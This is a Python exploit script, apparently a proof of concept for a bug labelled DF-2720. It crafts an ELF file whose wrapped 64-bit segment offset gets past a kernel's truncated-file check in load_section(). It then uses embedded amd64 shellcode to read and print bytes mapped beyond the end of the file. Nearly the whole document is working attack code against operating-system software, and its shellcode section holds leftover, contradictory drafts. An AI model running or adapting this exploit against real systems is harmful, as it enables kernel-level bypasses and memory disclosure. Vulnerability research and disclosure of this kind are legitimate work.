DF-2720 / make_wrapseg.py
#!/usr/bin/env python3 # DF-2720: load_section() file-size check bypass via 64-bit wrap. # sys/kern/imgact_elf.c:274 # if ((off_t)filsz + offset > vp->v_filesize || filsz > memsz) # 'offset' is vm_offset_t (u64) so the addition is unsigned: with # p_offset = 0xFFFFFFFFFFFFF000 and p_filesz = 0x2000 the sum wraps to # 0x1000 which is <= filesize -> the "truncated ELF file" check is bypassed. # The segment is then mapped file-backed at object pindex # (0xFFFFFFFFFFFFF000 >> 12) = 0xFFFFFFFFFFFFF, i.e. ~2^52 pages past EOF. import struct PAGE=4096 def phdr(t,flags,off,vaddr,paddr,filesz,memsz,align): return struct.pack('<IIQQQQQQ',t,flags,off,vaddr,paddr,filesz,memsz,align) # amd64: mov $1,%eax; mov $1,%edi; mov $0x600000,%esi; mov $1,%edx; syscall(write) # then exit(0) code = bytes.fromhex( 'b801000000' # mov $1,%eax 'bf01000000' # mov $1,%edi 'be00604000' # mov $0x400060,%esi (buf: vaddr page after wrap seg? use own data seg) ) # keep it simple: read the wrapped mapping at 0x600000 and print 8 bytes, then _exit(42) code = bytes.fromhex( 'b801000000' 'bf01000000' 'be00600000' 'ba08000000' '0f05' # write(1,0x600000,8) 'b83c000000' '31ff' 'bba2 000000'.replace(' ','') + '0f05' # exit(0xa2=162)? keep simple: exit(0) ) code = bytes.fromhex('b801000000bf01000000be00600000ba080000000f05') + \ bytes.fromhex('b83c00000031ff31d20f05') e=bytearray(16); e[0:4]=b'\x7fELF'; e[4]=2; e[5]=1; e[6]=1 ph = phdr(1,5,0,0x400000,0,2*PAGE,2*PAGE,PAGE) # text: file pages 0-8K ph += phdr(1,6,0xFFFFFFFFFFFFF000,0x600000,0,0x2000,0x4000,PAGE) # WRAPPED: filsz 0x2000, memsz 0x4000 eh=struct.pack('<16sHHIQQQIHHHHHH',bytes(e),2,62,1,0x400000+PAGE,64,0,0,64,56,2,0,0,0) img=bytearray(2*PAGE) img[0:len(eh)]=eh; img[64:64+len(ph)]=ph; img[PAGE:PAGE+len(code)]=code open('wrapseg','wb').write(bytes(img)) print('wrapseg written', len(img)) |